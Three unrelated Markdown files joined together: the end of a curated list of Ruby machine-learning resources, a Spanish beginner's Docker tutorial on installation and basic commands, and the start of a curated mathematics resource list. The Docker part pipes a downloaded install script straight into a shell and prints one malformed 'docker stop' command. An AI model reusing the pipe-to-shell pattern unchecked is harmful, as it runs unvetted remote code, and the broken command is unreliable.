If you're going to implement your own ML algorithms you're probably interested
in storing your feature sets efficiently. Look for appropriate
[data structures](https://github.com/arbox/data-science-with-ruby#data-structures)
in our [Data Science with Ruby][ds-with-ruby] list.
## Data visualization
Please refer to the [Data Visualization](https://github.com/arbox/data-science-with-ruby#visualization)
section on the [Data Science with Ruby][ds-with-ruby] list.
## Articles, Posts, Talks, and Presentations
- 2022
- _Discover Machine Learning in Ruby_ by [Justin Bowen](https://twitter.com/TonsOfFun111)
<sup>[[video](https://www.youtube.com/watch?v=HPbizNgcyFk)]</sup>
- 2019
- _TensorStream: Bringing Machine Learning to Ruby_ by [Joseph Emmanuel Dayo](https://www.linkedin.com/in/jdayo/)
<sup>[[post](https://medium.com/@joseph.dayo/tensorstream-bringing-machine-learning-to-ruby-114582060e3d)]</sup>
- _Easy machine learning with Ruby using SVMKit_ by [@kojix](https://twitter.com/kojix2dayo)
<sup>[[post](https://dev.to/kojix2/easy-machine-learning-with-ruby-using-svmkit-4n86)]</sup>
- 2018
- _Deep Learning Programming on Ruby_ by [Kenta Murata](https://twitter.com/mrkn)
& [Yusaku Hatanaka ](https://twitter.com/hatappi)
<sup>[[slides](https://speakerdeck.com/mrkn/deep-learning-programming-on-ruby) |
[page](https://rubykaigi.org/2018/presentations/mrkn.html)]</sup>
- _How to use trained Keras and TensorFlow machine learning models within Ruby on Rails_ by [Denis Sellu](https://twitter.com/denis_sellu)
<sup>[[post](https://www.cookieshq.co.uk/posts/how-to-use-trained-keras-and-tensorflow-machine-learning-models-within-ruby-on-rails)]</sup>
- 2017
- _Scientific Computing on JRuby_ by [Prasun Anand](https://twitter.com/prasun_anand)
<sup>[[slides](https://www.slideshare.net/PrasunAnand2/fosdem2017-scientific-computing-on-jruby) |
[video](https://ftp.fau.de/fosdem/2017/K.4.201/ruby_scientific_computing_on_jruby.mp4) |
[slides](https://www.slideshare.net/PrasunAnand2/scientific-computing-on-jruby) |
[slides](https://www.slideshare.net/PrasunAnand2/scientific-computation-on-jruby)]</sup>
- _Is it Food? An Introduction to Machine Learning_ by [Matthew Mongeau](https://twitter.com/halogenandtoast)
<sup>[[video](https://www.youtube.com/watch?v=8G709hKkthY) |
[slides](https://www.slideshare.net/halogenandtoast/is-it-food)]</sup>
- _Bayes is BAE_ by [Richard Schneeman](https://twitter.com/schneems)
<sup>[[video](https://www.youtube.com/watch?v=bQSzZrDDV80) |
[slides](https://speakerdeck.com/schneems/bayes-is-bae)]</sup>
- _Ruby Roundtable: Machine Learning in Ruby_ by [RubyThursday](https://rubythursday.com/)
<sup>[[video](https://www.youtube.com/watch?v=ScIFARN0jCo)]</sup>
- 2016
- _Practical Machine Learning with Ruby_ by [Jordan Hudgens](https://twitter.com/jordanhudgens)
<sup>[[tutorial](https://www.crondose.com/2016/12/practical-machine-learning-ruby/)]</sup>
- _Deep Learning: An Introduction for Ruby Developers_ by [Geoffrey Litt](https://twitter.com/geoffreylitt)
<sup>[[slides](https://speakerdeck.com/geoffreylitt/deep-learning-an-introduction-for-ruby-developers)]</sup>
- _How I made a pure-Ruby word2vec program more than 3x faster_ by [Kei Sawada](https://twitter.com/remore)
<sup>[[slides](https://speakerdeck.com/remore/how-i-made-a-pure-ruby-word2vec-program-more-than-3x-faster)]</sup>
- _Dōmo arigatō, Mr. Roboto: Machine Learning with Ruby_ by [Eric Weinstein](https://twitter.com/ericqweinstein)
<sup>[[slides](https://speakerdeck.com/ericqweinstein/domo-arigato-mr-roboto-machine-learning-with-ruby) |
[video](https://www.youtube.com/watch?v=T1nFQ49TyeA)]</sup>
- _Building a Recommendation Engine with Machine Learning Techniques_ by [Brian Sam-Bodden](https://twitter.com/bsbodden)
<sup>[[video](https://www.youtube.com/watch?v=SRnM_P_ygqI)]</sup>
- :sparkles: _SciRuby Machine Learning: Current Status and Future_ by [Kenta Murata](https://twitter.com/mrkn)
<sup>[[slides](https://speakerdeck.com/mrkn/sciruby-machine-learning-current-status-and-future) |
[video: jp](https://www.youtube.com/watch?v=gfQ8XEy7vO4)]</sup>
- _Ruby Roundtable: Intro to Tensorflow_ by [RubyThursday](https://rubythursday.com/)
<sup>[[video](https://www.youtube.com/watch?v=pYC5mXHUWkc)]</sup>
- 2015
- _Machine Learning made simple with Ruby_ by [Lorenzo Masini](https://twitter.com/rugginoso)
<sup>[[post](https://www.leanpanda.com/blog/2015-08-24-machine-learning-automatic-classification/)]</sup>
- _Using Ruby Machine Learning to Find Paris Hilton Quotes_ by [Rick Carlino](https://github.com/RickCarlino)
<sup>[[tutorial](https://web.archive.org/web/20160414072324/http://datamelon.io/blog/2015/using-ruby-machine-learning-id-paris-hilton-quotes.html)]</sup>
- 2014
- _Test Driven Neural Networks_ by [Matthew Kirk](https://twitter.com/mjkirk)
<sup>[[video](https://www.youtube.com/watch?v=ppf8m-3uXvU&t=36s)]</sup>
- _Five machine learning techniques that you can use in your Ruby apps today_ by [Benjamin Curtis](https://twitter.com/stympy)
<sup>[[video](https://www.youtube.com/watch?v=crziu7dk6Vw) |
[slides](https://speakerdeck.com/stympy/machine-learning-techniques)]</sup>
- _Machine Learning for Fun and Profit_ by [John Paul Ashenfelter](https://twitter.com/johnashenfelter)
<sup>[[video](https://www.youtube.com/watch?v=KC5MtKHm1O4)]</sup>
- 2013
- _Sentiment Analysis using Support Vector Machines in Ruby_ by [Matthew Kirk](https://twitter.com/mjkirk)
<sup>[[video](https://www.youtube.com/watch?v=iSug6CgxWxc) |
[code](https://github.com/hexgnu/sentiment_analyzer)]</sup>
- _Recommender Systems with Ruby_ by [Marcel Caraciolo](https://twitter.com/marcelcaraciolo)
<sup>[[slides](https://www.slideshare.net/marcelcaraciolo/recommender-systems-with-ruby-adding-machine-learning-statistics-etc)]</sup>
- _Detecting Faces with Ruby: FFI in a Nutshell_ by [Marc Berszick]()
<sup>[[post](https://www.sitepoint.com/detecting-faces-with-ruby-ffi-in-a-nutshell/)]</sup>
- 2012
- _Machine Learning with Ruby, Part One_ by [Vasily Vasinov](https://twitter.com/vasinov)
<sup>[[tutorial](https://www.vasinov.com/blog/machine-learning-with-ruby-part-one/)]</sup>
- _Recurrent Neural Networks in Ruby_ by [Joseph Wilk](https://twitter.com/josephwilk)
<sup>[[post](http://blog.josephwilk.net/ruby/recurrent-neural-networks-in-ruby.html)]</sup>
- _Recommendation Engines using Machine Learning, and JRuby_ by [Matthew Kirk](https://twitter.com/mjkirk)
<sup>[[video](https://www.youtube.com/watch?v=hsZcrlbBg_0)]</sup>
- _Practical Machine Learning and Rails_ by [Andrew Cantino](https://twitter.com/tectonic)
and [Ryan Stout](https://twitter.com/ryanstout)
<sup>[[video](https://www.youtube.com/watch?v=vy_zQ1-F0JI)]</sup>
- 2011
- _Clustering in Ruby_ by [Colin Drake](https://twitter.com/colinfdrake)
<sup>[[post](https://colindrake.me/post/k-means-clustering-in-ruby/)]</sup>
- _Text Classification using Support Vector Machines in Ruby_ by [Rimas Silkaitis](https://twitter.com/neovintage)
<sup>[[post](http://neovintage.org/2011/11/14/text-classification-using-support/)]</sup>
- 2010
- _bayes_motel – Bayesian classification for Ruby_ by [Mike Perham](https://twitter.com/mperham)
<sup>[[post](http://www.mikeperham.com/2010/04/28/bayes_motel-bayesian-classification-for-ruby/)]</sup>
- _Intelligent Ruby: Getting Started with Machine Learning_ by [Ilya Grigorik](https://twitter.com/igrigorik)
<sup>[[video](https://vimeo.com/22513786)]</sup>
- 2009
- 2008
- _Support Vector Machines (SVM) in Ruby_ by [Ilya Grigorik](https://twitter.com/igrigorik)
<sup>[[post](https://www.igvita.com/2008/01/07/support-vector-machines-svm-in-ruby/)]</sup>
- 2007
- _Decision Tree Learning in Ruby_ by [Ilya Grigorik](https://twitter.com/igrigorik)
<sup>[[post](https://www.igvita.com/2007/04/16/decision-tree-learning-in-ruby/)]</sup>
## Projects and Code Examples
- [Wine Clustering](https://github.com/hexgnu/wine_clustering) -
Wine quality estimations clustered with different algorithms.
- [simple_ga](https://github.com/giuse/simple_ga) -
Basic (working) demo of Genetic Algorithms in Ruby.
- [Handwritten Digits Recognition](https://github.com/jdrzj/handwritten-digits-recognition) -
Handwritten digits recognition using Neural Networks and Ruby.
## Heroku buildpacks
- [GSL and Ruby buildpack](https://github.com/tomwolfe/heroku-buildpack-gsl-ruby)
- [OpenCV and Ruby buildpack](https://github.com/lilibethdlc/heroku-buildpack-ruby-opencv)
- [ImageMagick buildpack](https://github.com/mcollina/heroku-buildpack-imagemagick)
## Books, Blogs, Channels
- [Kirk, Matthew](https://twitter.com/mjkirk).
_Thoughtful Machine Learning: A Test-Driven Approach_. O'Reilly, 2014.
<sup>[[Amazon](https://www.amazon.com/Thoughtful-Machine-Learning-Test-Driven-Approach/dp/1449374069) |
[code](https://github.com/thoughtfulml/examples)]</sup>
- [Practical Artificial Intelligence](https://www.practicalai.io/) -
Blog about Artificial Intelligence and Machine Learning with tutorials and code samples in Ruby.
## Community
- [SciRuby Mailing List](https://groups.google.com/forum/#!forum/sciruby-dev)
- [SciRuby Slack](https://sciruby.slack.com/)
- [Red Data Gitter](https://gitter.im/red-data-tools/)
- [Reddit](https://www.reddit.com/r/MachineLearning/search?q=Ruby&restrict_sr=on)
- [Stack Overflow](https://stackoverflow.com/search?q=machine+learning+ruby)
- [Twitter](https://twitter.com/search?q=Machine%20Learning%20Ruby&src=typd)
- [NonWebRuby](https://twitter.com/NonWebRuby)
## Related Resources
- <a name="lightgbm"></a>
[LightGBM](https://github.com/microsoft/LightGBM)
- <a name="xgboost"></a>
[XGBoost](https://github.com/dmlc/xgboost)
- <a name="gls"></a>
[GSL (GNU Scientific Library)][gls]
- <a name="opencv"></a>
[OpenCV](https://opencv.org/)
- <a name="empty-lines-around-access-modifier"></a>
[Graphviz](http://www.graphviz.org/)
- <a name="gnuplot"></a>
[Gnuplot](http://www.gnuplot.info/)
- <a name="xquartz"></a>
[X11/XQuartz](https://www.xquartz.org/)
- <a name="imagemagic"></a>
[ImageMagick](https://www.imagemagick.org/script/index.php)
- <a name="r"></a>
[R](http://www.r-project.org/)
- <a name="octave"></a>
[Octave](https://www.gnu.org/software/octave/)
- [scikit-learn algorithm cheatsheet](https://scikit-learn.org/stable/tutorial/machine_learning_map/)
- [Awesome Ruby](https://github.com/markets/awesome-ruby#natural-language-processing) -
Among other awesome items a short list of NLP related projects.
- [Ruby NLP](https://github.com/diasks2/ruby-nlp) -
State-of-Art collection of Ruby libraries for NLP.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing) -
General List of NLP related resources (mostly not for Ruby programmers).
- [Scientific Ruby](http://sciruby.com/) -
Linear Algebra, Visualization and Scientific Computing for Ruby.
- [iRuby](https://github.com/SciRuby/iruby) - IRuby kernel for Jupyter (formerly IPython).
- [Kiba](https://github.com/thbar/kiba) -
Lightweight [ETL](https://en.wikipedia.org/wiki/Extract,_transform,_load) (Extract, Transform, Load) pipeline.
- [Awesome OCR](https://github.com/kba/awesome-ocr) -
Multitude of OCR (Optical Character Recognition) resources.
- [Awesome TensorFlow](https://github.com/jtoy/awesome-tensorflow) -
Machine Learning with TensorFlow libraries.
- [rb-gsl](https://github.com/SciRuby/rb-gsl) -
Ruby interface to the [GNU Scientific Library](https://www.gnu.org/software/gsl/).
- [The Definitive Guide to Ruby's C API](https://silverhammermba.github.io/emberb/) -
Modern Reference and Tutorial on Embedding and Extending Ruby using C programming language.
## License
[](https://creativecommons.org/publicdomain/zero/1.0/)
`Awesome ML with Ruby` by [Andrei Beliankou](https://github.com/arbox) and
[Contributors][contributors].
To the extent possible under law, the person who associated CC0 with
`Awesome ML with Ruby` has waived all copyright and related or neighboring rights
to `Awesome ML with Ruby`.
You should have received a copy of the CC0 legalcode along with this
work. If not, see <https://creativecommons.org/publicdomain/zero/1.0/>.
<!--- Links --->
[ruby]: https://www.ruby-lang.org/en/
[awesome]: https://github.com/sindresorhus/awesome/blob/master/awesome.md
[change-pr]: https://github.com/RichardLitt/knowledge/blob/master/github/amending-a-commit-guide.md
[ml]: https://en.wikipedia.org/wiki/Machine_learning
[ds-with-ruby]: https://github.com/arbox/data-science-with-ruby
[contributors]: https://github.com/arbox/machine-learning-with-ruby/graphs/contributors
[sciruby]: https://github.com/sciruby
[ai]: https://en.wikipedia.org/wiki/Artificial_intelligence
[cs]: https://en.wikipedia.org/wiki/Computational_science
[fe]: https://en.wikipedia.org/wiki/Feature_engineering
[ts]: https://en.wikipedia.org/wiki/Test_set
[gsl]: https://www.gnu.org/software/gsl/
[scikit]: https://scikit-learn.org/stable/index.html
|
---
title: Usando Docker introduccion
description: Aprendemos a usar docker.
author: Mario Ezquerro
tags: Docker, Introduccion
date_published: 2019-05-10
---
# Un poco de Historia
CC por [Bartolomé Sintes Marco](http://www.mclibre.org/consultar/webapps/index.html)
[Docker](https://www.docker.com) es un sistema de virtualización de aplicaciones mediante contenedores, creado por Solomon Hykes y otros ingenieros. En 2013 se convirtió en un proyecto de software libre (licencia Apache) en el que participan cada vez más empresas. La versión 1.0 se publicó en junio de 2014 y ha tenido un desarrollo muy rápido.
En marzo de 2017, Docker anunció un desarrollo todavía más rápido, pasando a publicar una nueva versión cada mes. La numeración de las versiones adoptó al formato AA.MM (año y mes). Estas versiones mensuales se han estado manteniendo solamente durante un mes, aunque cada trimestre una de esas versiones, se mantiene mantenido durante cuatro meses (la primera fue Docker 17.03).
En julio de 2018, Docker anunció que volvían a un desarrollo más pausado. Por un lado, se dejaron de publicar las versiones mensuales (aunque se publica una versión diaria inestable) y que a partir de Docker 18.09, en vez de una versión "estable" cada tres meses habrá una versión "estable" cada seis meses que se mantendrá durante siete meses.
Docker ofrece una versión Enterprise (de pago) y una versión Community (gratuita). La diferencia radica en el nivel de soporte y certificación que proporciona Docker a la versión Enterprise.
Docker empezó estando disponible solamente para distribuciones GNU/Linux, pero desde junio de 2016 también está disponible como aplicación nativa en Windows Server 2016 y Windows 10.
Docker utiliza la virtualización ofrecida por el sistema operativo. En el caso de Windows 10, eso significa que para usar Docker de forma nativa hay que activar Hyper-V (solo posible en windows profesional, no esta en windows Home) que, por desgracia, es incompatible con VirtualBox. Para poder utilizar Docker en Windows 7 o en Windows 10 sin Hyper-V, Docker ofrece desde agosto de 2015 [Docker Toolbox](https://github.com/docker/toolbox), que realmente es una máquina virtual (que se ejecuta en VirtualBox) que contiene Docker.
Los contenedores se distinguen de las máquinas virtuales en que las máquinas virtuales emulan un ordenador físico en el que se instala un sistema operativo completo, mientras que los contenedores usan el kernel del sistema operativo anfitrión pero contienen las capas superiores (sistema de ficheros, utilidades, aplicaciones).
Al ahorrarse la emulación del ordenador y el sistema operativo de la máquina virtual, los contenedores son más pequeños y rápidos que las máquinas virtuales. Pero al incluir el resto de capas de software, se consigue el aislamiento e independencia entre contenedores que se busca con las máquinas virtuales.
Los contenedores son útiles en los servidores, pero también para pruebas de software, ya que incluyen todos los elementos que necesitan las aplicaciones, lo que facilita la instalación y elimina los problemas de incompatibilidad de versiones en bibliotecas y aplicaciones auxiliares. También podría utilizarse para la distribución de software en general, pero en ese caso juega en contra la duplicidad que supone el que cada contenedor incluye todas las capas de software.
## Aprender más
- [Documentación oficial de Docker](https://docs.docker.com/engine/userguide/intro/)
- [Documentación de Docker Toolbox](https://docs.docker.com/toolbox/overview/)
- [Docker Labs: Tutoriales de Docker](https://github.com/docker/labs)
- Release Notes: [17.03](https://docs.docker.com/engine/release-notes/#17033-ce) - 17.04 - 17.05 - 17.06 - 17.07 - 17.09 - 17.10 - 17.11 - 17.12 - 18.01 - 18.02 - - 18.03 - [18.04](https://docs.docker.com/engine/release-notes/#18040-ce) - [18.05](https://docs.docker.com/engine/release-notes/#18050-ce) - [18.06](https://docs.docker.com/engine/release-notes/#18061-ce) - [18.09](https://docs.docker.com/engine/release-notes/#1809)
- GitHub Release Notes: [18.06](https://github.com/docker/docker-ce/releases/tag/v18.06.0-ce) - [18.09](https://github.com/docker/docker-ce/releases/tag/v18.09.0)
- Novedades: Docker [1.12](https://blog.docker.com/2016/07/docker-built-in-orchestration-ready-for-production-docker-1-12-goes-ga/) - [Docker 1.13](https://blog.docker.com/2017/01/whats-new-in-docker-1-13/) - [Docker 17.06 CE](https://blog.docker.com/2017/06/announcing-docker-17-06-community-edition-ce/)
- [Containers from scratch](https://ericchiang.github.io/post/containers-from-scratch/)
- [An executive's guide to containers (25/01/17)](https://opensource.com/article/17/1/container-strategy-for-executives)
- [Play with Docker Classroom](https://training.play-with-docker.com/)
- [User Namespaces](https://raesene.github.io/blog/2016/02/04/Docker-User-Namespaces/)
# Como Instalar
[Como instalar](https://docs.docker.com/install/)
Descripción general de Docker
Docker es un sistema de administración de contenedores que nos ayuda a administrar fácilmente los Contenedores de Linux (LXC) de una manera más fácil y universal. Esto le permite crear imágenes en entornos virtuales en su ordenador portátil y ejecutar comandos contra ellos. Las acciones que realice en los contenedores que ejecute en estos entornos localmente en su propia máquina serán los mismos comandos u operaciones que ejecute contra ellos cuando se ejecuten en su entorno de producción.
Esto ayuda a no tener que hacer las cosas de manera diferente cuando pasa de un entorno de desarrollo como el de su máquina local a un entorno de producción en su servidor. Ahora, echemos un vistazo a las diferencias entre los contenedores de Docker y los entornos típicos de máquinas virtuales.
La siguiente ilustración muestra la diferencia entre un servidor dedicado y no especializado y un servidor que ejecuta máquinas virtuales:
## Instalación de Docker
[Cambia a menudo pasarse por la fuente](https://docs.docker.com/get-docker/)
Dependiendo del sistema operativo utilizado, realizar la instalación de Docker y docker-compose (sólo Linux)
- Windows
- MacOS
- Linux (CentOS, Debian, Ubuntu, Fedora).
### CentOS 7+
```
sudo yum install -y yum-utils device-mapper-persistent-data lvm2
sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
sudo yum install docker-ce
sudo systemctl start docker
```
### Ubuntu 16.04+
```
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo apt-get install docker-ce
```
### Post-instalación (sólo Linux)
Docker-compose En sistemas Linux, es necesario instalar docker-compose adicionalmente:
```
sudo curl -L https://github.com/docker/compose/releases/download/1.22.0/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
```
Identificamos la versión de docker-compose para verificar su funcionamiento.
$ docker-compose --version
Versión de docker-compose
Finalmente, se crea un grupo docker y se agrega el usuario actual para poder ejecutar comandos sin necesidad de ser usuario root.
```
# sudo groupadd docker
# sudo usermod -aG docker $USER
```
Reiniciamos la sesión en el sistema. En caso de utilizar una máquina virtual es necesario reiniciarla para que los cambios surtan efecto.
Si la instalación se realizó correctamente, ejecutamos el siguiente comando para levantar el contenedor hello-world: docker run hello-world
## Diagrama básico de la arquitectura de docker
No es lo mismo docker(producto) docker-ce o containerD.
Estos proyectos los tienes en la CNCF [Cloud Native Interactive Landscape](https://landscape.cncf.io/)
## Algunos tips
Crea el grupo docker si no existe ya:
```
# groupadd --system docker
Edita /etc/sysconfig/docker y añade -G docker a OPTIONS
Añade tu usuario al grupo docker:
# usermod -aG docker tu_usuario
Reinicia docker:
# systemctl restart docker
Cierra y abre tu sesión
```
Quizá prefieras usar el grupo wheel (los que tienen acceso a sudo) y te ahorras los pasos de crear el grupo.
Con las nuevas versiones (y es importante sobre todo si usas los repositorios oficiales y no los de tu distribución), la ubicación por defecto de la configuración de Docker Engine es /etc/docker/daemon.json, y sí, efectivamente se trata de un fichero JSON.
Aunque se nos proporciona una plantilla para que sepamos de qué opciones dispone, esta es la mía (Fedora de desarrollo local), por si sirve a alguien:
```
{
"group": "wheel",
"icc": false,
"log-driver": "journald",
"selinux-enabled": true,
"storage-driver": "overlay2"
}
```
Creo que son las configuraciones más importantes:
- Ya que usar Docker equivale a ser root en muchos casos, usar el grupo wheel te facilita la tarea: todos los administradores tienen acceso al socket de Docker por defecto.
- Deshabilitar icc (Inter-Container Communication) hace que los contenedores solo se puedan comunicar entre sí si comparten un link o una red. Normalmente en producción ha de ser así, así que mejor te vas acostumbrando en desarrollo.
- Los otros controladores de almacenamiento siempre me han dado errores, overlay2 funciona de maravilla.
- journald es el único controlador de registros con soporte completo y que no te infla el sistema hasta quedarse sin espacio, como hace el json-file que viene por defecto.
- SELinux es importante tenerlo activado siempre que se pueda.
## Instalacion en Linux
Abrimos un entorno shell y en modo superusuario podemos hacer la instalación para un ubuntu
```
$ curl -sSL https://get.docker.com/ | sh
$ sudo systemctl start docker
```
Para activarlo al inicio de la maquina:
```
$ sudo systemctl enable docker
```
Podemos ver si esta intalado y funcionando:
```
$ docker version # Nos tiene que mostar la version del Cliente y del server
$ docker help
$ docker container run hello-world
$
$ docker image pull nginx
$ docker container run -d --name nginx-test -p 8080:80 nginx
```
El primero de los dos comandos descarga la imagen del contenedor NGINX, y el segundo lanza un contenedor en el fondo llamado nginx-test usando la imagen nginx que tirado. También asigna el puerto 8080 en nuestra máquina host al puerto 80 en el contenedor, haciéndolo
accesible a nuestro navegador local en este [enlace](http://localhost:8080/)
Necesitaremos utilidades para la gestión de docker para lo que instalaremos [docker-compose](https://docs.docker.com/compose/install/) y tambien instalaremos [docker-machine](https://docs.docker.com/machine/install-machine/).
# Algunos comandos de Docker
### Algunos comandos de Docker
#
[Docker Cheat Sheet](https://github.com/wsargent/docker-cheat-sheet)
Una vez instalado Docker, todo se gestiona mediante comandos, que en Ubuntu se deben ejecutar como administrador:
```
$ sudo docker COMANDOS
```
Para ver los comandos disponibles (en general y en particular):
```
$ sudo docker
$ sudo docker image
$ sudo docker network
```
Para ver las opciones de cada comando:
```
$ sudo docker cp --help
```
Los comandos tienen a su vez opciones. Los nombres de las opciones van precedidas de los caracteres --y entre la opción y su valor se puede escribir un espacio o el carácter =.
```
sudo docker COMANDO --OPCION=VALOR
sudo docker COMANDO --OPCION VALOR
```
Si el valor de una opción contiene espacios, escriba el valor entre comillas
```
sudo docker COMANDO --OPCION="VALOR CON ESPACIOS"
sudo docker COMANDO --OPCION "VALOR CON ESPACIOS"
```
### Imágenes
En los comandos siguientes REPOSITORIO es el nombre del repositorio en el que se encuentra la imagen (por ejemplo usuario/phpmyadmin) e IMAGEN es el nombre de la imagen descargada. Realmente, las imágenes descargadas se llaman igual que los repositorios de donde se han descargado, pero he distinguido los nombres para dejar claro cuándo nos estamos haciendo referencia a la imagen del repositorio y cuándo a la imagen local.
Para gestionar las imágenes, se utiliza el comando:
```
sudo docker image OPCIONES
```
Para descargar una imagen:
```
sudo docker image pull REPOSITORIO
sudo docker pull REPOSITORIO
```
Para ver las imágenes ya descargadas:
```
sudo docker image ls
```
Para borrar una imagen (se deben borrar previamente los contenedores basados en esa imagen):
```
sudo docker image rm IMAGEN
```
### Contenedores
#
En los comandos siguientes CONTENEDOR es el nombre del contenedor, que podemos elegir al crearlo, y RED es el nombre de una red ya existente.
Para crear un contenedor (y ponerlo en marcha):
```
sudo docker run --name=CONTENEDOR REPOSITORIO
```
El problema de este comando es que dejamos de tener acceso a la shell y sólo se puede parar el proceso desde otro terminal.
Lo habitual es poner en marcha el contenedor en modo separado (detached), es decir, en segundo plano, yasí podemos seguir utilizando la shell:
```
sudo docker run -d --name=CONTENEDOR REPOSITORIO
```
Si queremos ver la secuencia de arranque del contenedor, podemos poner en marcha el contenedor en modopseudo-tty, que trabaja en primer plano, pero del que podemos salir con Ctrl+C.
```
sudo docker run -t --name=CONTENEDOR REPOSITORIO
```
Al crear el contenedor se pueden añadir diversas opciones:
- Para incluir el contenedor en una red privada virtual (y que se pueda comunicar con el resto de contenedores incluidos en esa red):
```
sudo docker run --name=CONTENEDOR --net=RED REPOSITORIO
```
- Para que el contenedor atienda a un puerto determinado, aunque internamente atienda un puerto distinto:
```
sudo docker run --name=CONTENEDOR -p PUERTO_EXTERNO:PUERTO_INTERNO REPOSITORIO
```
- Para establecer variables de configuración del contenedor:
```
sudo docker run --name=CONTENEDOR -e VARIABLE=VALOR REPOSITORIO
```
- Las variables de configuración se pueden consultar en el repositorio del que obtenemos la imagen.
Para ver los contenedores en funcionamiento:
```
sudo docker ps
```
Para ver los contenedores en funcionamiento o detenidos:
```
sudo docker ps -a
```
Para detener un contenedor:
```
sudo docker stop CONTENEDOR
```
Para detener todos los contenedores:
```
sudo docker stop $sudo docker ps -aq)
```
Para borrar un contenedor:
```
sudo docker rm CONTENEDOR
```
Para poner en marcha un contenedor detenido:
```
sudo docker start CONTENEDOR
```
Para entrar en la shell de un contenedor:
```
sudo docker exec -it CONTENEDOR /bin/bash
```
Para entrar en la shell del contenedor como root:
```
sudo docker exec -u 0 -it CONTENEDOR /bin/bash
```
Para salir de la shell del contenedor:
```
exit
```
Para copiar (o mover) archivos entre el contenedor y el sistema anfitrión o viceversa:
```
sudo docker cp CONTENEDOR:ORIGEN DESTINO
sudo docker cp ORIGEN CONTENEDOR:DESTINO
```
### Redes
#
En los comandos siguientes RED es el nombre de la red privada.
Para gestionar las redes, se utiliza el comando:
```
$ sudo docker network OPCIONES
```
Para crear una red:
```
$ sudo docker network create RED
```
Para ver las redes existentes:
```
$ sudo docker network ls
```
Para ver información detallada de una red (entre ella, los contenedores incluidos y sus IP privadas):
```
$ sudo docker network inspect RED
```
Para borrar una red:
```
$ sudo docker network rm RED
```
### Sistema
#
- Para ver el espacio ocupado por las imágenes, los contenedores y los volúmenes:
```
sudo docker system df
```
- Para eliminar los elementos que no están en marcha:
- Contenedores:
```
sudo docker container prune
```
- Imágenes:
```
sudo docker image prune
```
- Volúmenes:
```
sudo docker volume prune
```
- Redes:
```
sudo docker network prune
```
- todo:
```
sudo docker system prune
```
|
# Awesome Math [](https://github.com/sindresorhus/awesome)
A curated list of awesome mathematics resources.
The credits for this curriculum go to [rossant](https://github.com/rossant/awesome-math).
We'll keep reorganizing it and bring more cool stuff like SymPy, Numpy etc here (only the math part)
# Contents
<!-- START_TOC -->
* [Contents](#contents)
* [General Resources](#general-resources)
* [Learning Platforms](#learning-platforms)
* [Learn to Learn](#learn-to-learn)
* [Questions and Answers](#questions-and-answers)
* [Encyclopedia](#encyclopedia)
* [Books](#books)
* [Blogs](#blogs)
* [Misc](#misc)
* [Lecture Notes](#lecture-notes)
* [Foundations of Machine Learning](#foundations-of-machinelearning)
* [Math of Intelligence](#m-o-i)
* [Deep Learning](#deeplearning)
* [Foundations of Mathematics](#foundations-of-mathematics)
* [Set Theory](#set-theory)
* [Logic](#logic)
* [Category Theory](#category-theory)
* [Homotopy Type Theory](#homotopy-type-theory)
* [Surreal Numbers](#surreal-numbers)
* [Number Theory](#number-theory)
* [Algebraic Number Theory](#algebraic-number-theory)
* [Analytic Number Theory](#analytic-number-theory)
* [Algebra](#algebra)
* [Abstract Algebra](#abstract-algebra)
* [Group Theory](#group-theory)
* [Linear Algebra](#linear-algebra)
* [Ring Theory](#ring-theory)
* [Galois Theory](#galois-theory)
* [Lie Algebras](#lie-algebras)
* [Combinatorics](#combinatorics)
* [Graph Theory](#graph-theory)
* [Geometry and Topology](#geometry-and-topology)
* [Differential Geometry](#differential-geometry)
* [Algebraic Geometry](#algebraic-geometry)
* [Topology](#topology)
* [Algebraic Topology](#algebraic-topology)
* [Analysis](#analysis)
* [Real Analysis](#real-analysis)
* [Harmonic Analysis](#harmonic-analysis)
* [Complex Analysis](#complex-analysis)
* [Functional Analysis](#functional-analysis)
* [Measure Theory](#measure-theory)
* [Ordinary Differential Equations](#ordinary-differential-equations)
* [Partial Differential Equations](#partial-differential-equations)
* [Probability and Statistics](#probability-and-statistics)
* [Probability Theory](#probability-theory)
* [Statistics](#statistics)
* [Statistical Learning](#statistical-learning)
* [Stochastic processes](#stochastic-processes)
* [Numerical Analysis](#numerical-analysis)
* [Signal processing](#signal-processing)
* [Mathematics for Computer Science](#mathematics-for-computer-science)
* [Mathematical Biology](#mathematical-biology)
* [Mathematical Physics](#mathematical-physics)
* [License](#license)
<!-- END_TOC -->
# General Resources
## Learning Platforms
* [Khan Academy](https://www.khanacademy.org/math)
* [Coursera](https://www.coursera.org/courses?query=mathematics&languages=en)
* [MIT OpenCourseWare](http://ocw.mit.edu/courses/mathematics/)
* [edX](https://www.edx.org/course/subject/math)
## Learn to Learn
* [Understanding Mathematics](https://github.com/nelson-brochado/understanding-math)
## Questions and Answers
* [Mathematics Stack Exchange](http://math.stackexchange.com/)
* [MathOverflow](http://mathoverflow.net/) - for professional mathematicians
## Encyclopedia
* [Encyclopedia of Mathematics](https://www.encyclopediaofmath.org)
* [Planetmath](http://planetmath.org/)
* [ProofWiki](https://proofwiki.org/wiki/Main_Page)
* [Wolfram Mathworld](http://mathworld.wolfram.com/)
## Books
* [Calculus: Basic Concepts for High Schools](https://archive.org/details/TarasovCalculus) - L.V. Tarasov
* [Basics of Algebra, Topology, and Differential Calculus](http://www.cis.upenn.edu/~jean/math-basics.pdf) - Jean Gallier (University of Pennsylvania)
* [Multivariable Calculus](http://people.math.gatech.edu/%7Ecain/notes/calculus.html) - G. Cain, J. Herod (Georgia Tech)
* [Wikibooks](https://en.wikibooks.org/wiki/Wikibooks:Mathematics_bookshelf)
* [Online Mathematics Textbooks](https://people.math.gatech.edu/~cain/textbooks/onlinebooks.html)
* [Beginning and Intermediate Algebra](http://www.wallace.ccfaculty.org/book/Beginning_and_Intermediate_Algebra.pdf)
* [Trigonometry](http://www.mecmath.net/trig/trigbook.pdf)
## Blogs
* [BetterExplained](https://betterexplained.com/) - Maintained by Kalid Azad
* [ILoveMaths](http://ilovemaths.com/) - For grades 6 thru 12 in K-12 system
* [3blue1brown](https://www.3blue1brown.com/) - Animated Maths
## Misc
* [Areas of mathematics on Wikipedia](https://en.wikipedia.org/wiki/Areas_of_mathematics)
